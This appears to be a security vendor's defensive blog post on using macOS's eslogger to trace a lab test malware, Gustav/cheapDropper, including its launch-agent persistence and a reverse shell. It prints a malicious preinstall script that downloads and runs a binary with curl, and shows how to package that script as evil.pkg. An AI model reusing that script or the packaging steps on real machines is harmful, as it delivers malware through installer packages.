In this edition of the Blue Team Chronicles, we assess the capabilities of eslogger, a new built-in macOS tool, and show how defenders can use this tool to better understand malicious activities on macOS and build new detection approaches.
To simulate malicious activities on our lab machine, we leverage one of our early macOS testing malware samples, known as Gustav in these examples.
Upon studying the new eslogger feature of macOS, we concluded:
With the release of the Endpoint Security Framework (ESF) in macOS 10.15 (2019), Apple introduced an API for monitoring and auditing system events to replace the deprecated OpenBSM API. Security products now ingest these system events via the macOS agent. However, accessing these raw ESF events in an ad-hoc manner required either self-developed software notarized by Apple or a third-party ESF client like esf-playground from mittenmac.
The October 2022 release of macOS 13.0, named Ventura, includes eslogger: “eslogger interfaces with Endpoint Security to log events to standard output or to the unified logging system.”
For the first eslogger test, we set up our system to examine events that the system creates while performing standard operations, such as opening folders and reading files.
Before eslogger can function, the app that executes eslogger must have full disk access. We granted this access to the Terminal app:
At the time of writing this post, eslogger supports 82 different endpoint security events, including several undocumented ones.. All supported events can be listed via:
% sudo eslogger --list-events access authentication btm_launch_item_add btm_launch_item_remove … |
More detailed information about the event types is in the Apple documentation.
To get a first impression of the data that eslogger generates, we directed the tool to listen for events of type access and authentication. We redirected the tool's JSON output to a file:
% sudo eslogger access authentication > eslogger_trial_out.json |
The resulting JSON file included multiple root elements. To convert this data into a valid json, we used the following Python code (es.py):
#!/usr/bin/env python3 import sys out: str = "[" lines = sys.stdin.readlines() for index, line in enumerate(lines): if index == len(lines)-1: out += "{}".format(line) else: out += "{}{}".format(line, ",") out += "]" print(out) |
We also used the fx tool to get well readable json:
% cat eslogger_trial_out.json | ./es.py | fx . > valid_out.json |
Analyzing the resulting json interactively can be done using fx. For filtering, we recommend jq. Having a look at one resulting event using fx, we can identify a process block that we use later for mapping events to a process/tool being analyzed:
We used this information and the jq tool to filter out events for the com.apple.finder executable:
% cat valid_out.json | jq '[.[] | select(.process.signing_id == "com.apple.finder" )]' > filtered_process_events.json |
We then learned that com.apple.finder checked the file access permission for /Users/secret/Desktop/blog/test_out.json:
To analyze Gustav, our early macOS test malware, we selected the following event types:
eslogger Event Name |
ESF Event Name |
Description |
create |
es_event_create_t |
Creation of a file |
open |
es_event_open_t |
Opening of a file |
utimes |
es_event_utimes_t |
Change to a file’s access time or modification time |
unlink |
es_event_unlink_t |
Deletion of a file |
exec |
es_event_exec_t |
Execution of a process |
uipc_connect |
es_event_uipc_connect_t |
Connection of a socket |
kextload |
es_event_kextload_t |
Loading of a kernel extension |
btm_launch_item_add |
btm_launch_item_add |
Creation of new launch items Note: This new security event also appears as a notification to the user. For more information about the beta ESF version of this event, see the Apple documentation |
proc_check |
proc_check |
Retrieval of process information |
The corresponding eslogger command to filter on these events is the following:
% sudo eslogger create open utimes unlink exec uipc_connect kextload btm_launch_item_add proc_check > gustav_first_run.json |
We ran this command whilst manually executing Gustav, resulting in 1758 events—too many to process. These events included the events for 75 executable files, including Gustav:
% cat valid_gustav_first_run.json | jq '.[].process.executable.path' | sort | uniq | wc -l 75 |
% cat valid_gustav_first_run.json | jq '.[].process.executable.path' | sort | uniq | grep -i Gustav "/Users/secret/Desktop/Gustav" |
Filtering for the executable paths, we reduced the amount of events to 23:
% cat valid_gustav_first_run.json | jq '[.[] | select(.process.executable.path == "/Users/secret/Desktop/Gustav" )]' > filtered_gustav_processes.json |
Using fx, we isolated the first event and identified the signing ID, which was named cheapDropper. cheapDropper is the internal name of Gustav:
Using the grep command, we filtered for the name cheapDropper in the eslogger output:
% fx valid_gustav_first_run.json | grep -i cheapDropper | tr -d '[:blank:]' | sort | uniq -c 1 "executable_path":"/Users/secret/cheapDropper", 36 "signing_id":"cheapDropper", |
The command returned many expected occurrences of the signing ID cheapDropper and one occurrence of a new and unexpected executable path: /Users/secret/cheapDropper.
We observed that this executable path had no corresponding event:
% cat valid_gustav_first_run.json | jq '[.[] | select(.process.executable.path == "/Users/secret/cheapDropper")]' [] |
Using fx to search for cheapDropper, we identified the btm_launch_item_add event. Endpoint security recorded the creation of a new login item that was a launch agent. Launch agents are scripts or binaries executed automatically when a user logs in, and threat actors commonly misuse these scripts as a persistence methodology.
The btm_launch_item_add event provided the full property list (.plist) file path: file:///Users/secret/Library/LaunchAgents/bla.plist.
We observed that Gustav had created a copy of itself by checking the home directory of the secret user. We added the location, name, and hash of this file, together with the launch agent name, to our indicators of compromise (IOC) list:
Taking a closer look at the process block of this event we see why we were not able to initially find it by filtering on process.executable.path. The launch item itself was created by the macOS background task management daemon - Gustav created the bla.plist file which was later processed by backgroundtaskmanagementd.
We were able to map this event to Gustav due to the similarity of the signing_id and exectutable_path from the btm_launch_item_add event:
Next, we discovered that the previously identified launch agent executed the /Users/secret/cheapDropper file.
We can observe the telemetry data in the Cybereason Defense Platform showing that when a user logs in, launchd starts, loads the plist files in ~/Library/LaunchAgents, and executes commands that ask to be executed at that time:
Next, we identified additional events related to Gustav by analyzing other event types. We found:
% cat ./filtered_gustav_processes.json | jq '[.[].event_type]' | grep -v -E '\[|\]' | sort | uniq -c 18 10, 1 13, 3 86, 1 9 |
Amongst these elements, we isolated the type 13 and 9 events by piping the jq result directly into fx so we could explore the JSON data:
% cat filtered_gustav_processes.json | jq '[.[] | select(.event_type == 13 or .event_type == 9)]' | fx |
The event of type 13 also revealed the information about the creation of the launch agent .plist file. On macOS systems older than Ventura, which do not have btm_launch_item_add, defenders can use event type 13 to identify the creation of new launch agents:
Figure 9 - Create event for the launch agent .plist (event type 13)
Meanwhile, the type 9 event revealed new information. The Gustav process was spawning bash as a child process and executing a basic reverse shell to 192.168.64.1 on port 6666. We added this information to the IOC list:
We then checked the Cybereason platform. The Cybereason UI showed the outgoing reverse shell as well, in a more approachable format:
In summary, Gustav, or cheapDropper:
The test malware cheapDropper does not do anything else. To get this information, we used the native application eslogger. To help analyze the complex JSON output, we used fx and jq.
We also used eslogger to examine another very common persistence technique on macOS: pre-install scripts. Threat actors can include pre- and post-install scripts in malicious macOS installer package (.pkg) files.
These scripts usually run by using the root account before or after the system installs the package. Attackers can trick users into executing these malicious installer packages. The install script sample in our tests downloads Gustav by using curl, and then executes the package:
#!/bin/bash curl -k 192.168.65.1:7777/Gustav -o /private/tmp/gustav && chmod +x /private/tmp/gustav && /private/tmp/gustav exit 0 |
We used the pkgbuild utility to create this package, which contains only the pre-install script:
% pkgbuild --identifier exec.script.test --nopayload evil.pkg --scripts ./scripts |
To start analyzing this threat, we used a slight variation of the previous eslogger command and added xp_malware_detected and set_flags events. We then ran the evil.pkg install package for about one minute. This action returned 8371 endpoint security events.
Next, we listed all the executable.path values for each process, and looked for events that had the following executable path:
/System/Library/CoreServices/Installer.app/Contents/MacOS/Installer
The identified data did not provide us with the information we were looking for:
To obtain the information we wanted, we had two choices:
In this case, we searched for package_script_service events.
Because the open endpoint security events did not provide references to the executed script, we hunted for preinstall scripts and searched for activities of the package_script_service process.
This process is the parent of pre- and postinstall scripts when installer.app executes from the UI. First, we obtained the events related to package_script_service by running the following command:
% cat preinstall_run_valid.json | jq '[.[] | select(.process.executable.path == "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service")]' |
The results revealed several proc_check, open, and exec events. One exec event seemed particularly significant. This event resulted from execution of the preinstall script located at /tmp/PKInstallSandbox.jaN7a2/Scripts/exec.script.test.dCgn6O/:
For more information about how the package_script_service process handles pre- and postinstall scripts, see Technical Advisory – macOS Installer Local Root Privilege Escalation (CVE-2020-9817).
To identify what actions this preinstall script performed, we searched for all exec events from processes with parent pid 1625:
% cat preinstall_run_valid.json | jq '[.[] | select(.process.ppid == 1625 and .event_type == 9)]' | fx |
The search revealed three exec events that contained the commands from our initial preinstall script, including the command executed to download Gustav:
The other two exec events describe the chown (file owner update) process for the downloaded binary and its execution.
In this quick analysis, eslogger showed that the analyzed install package executes a preinstall script which, in turn, downloads and executes a binary. Other ways to analyze install package files include static analysis, manual unpacking, or using tools like Suspicious Package.
The Cybereason user interface (UI) shows the same information in a much more approachable format. Figure 15 shows that the package_script_service process executes a bash script, which is our preinstall script. The preinstall script executes three additional commands: curl, chmod, and the command that executes Gustav:
The endpoint security framework was a valuable data source from the day it was introduced into macOS. With eslogger, all this information is now available via a native application enabling defenders to collect important data without having to install additional software. eslogger provides low level information that can be used to understand behavior of processes and identify detection possibilities.
The absence of a UI might be a problem for some, for others it’s a blessing - the lack of detailed documentation makes working with the endpoint security framework a challenge sometimes though.
Additionally, to use eslogger most effectively, analysts must select specific events to monitor, be familiar with macOS internals, and have a good strategy for handling the vast amount of JSON data that the tool produces. Even with a strategy, however, the large amount of output that eslogger creates makes the tool unsuitable for collecting data from multiple endpoints - which is not the intention of this tool.
Overall, we think that eslogger will be an important tool in the defenders arsenal.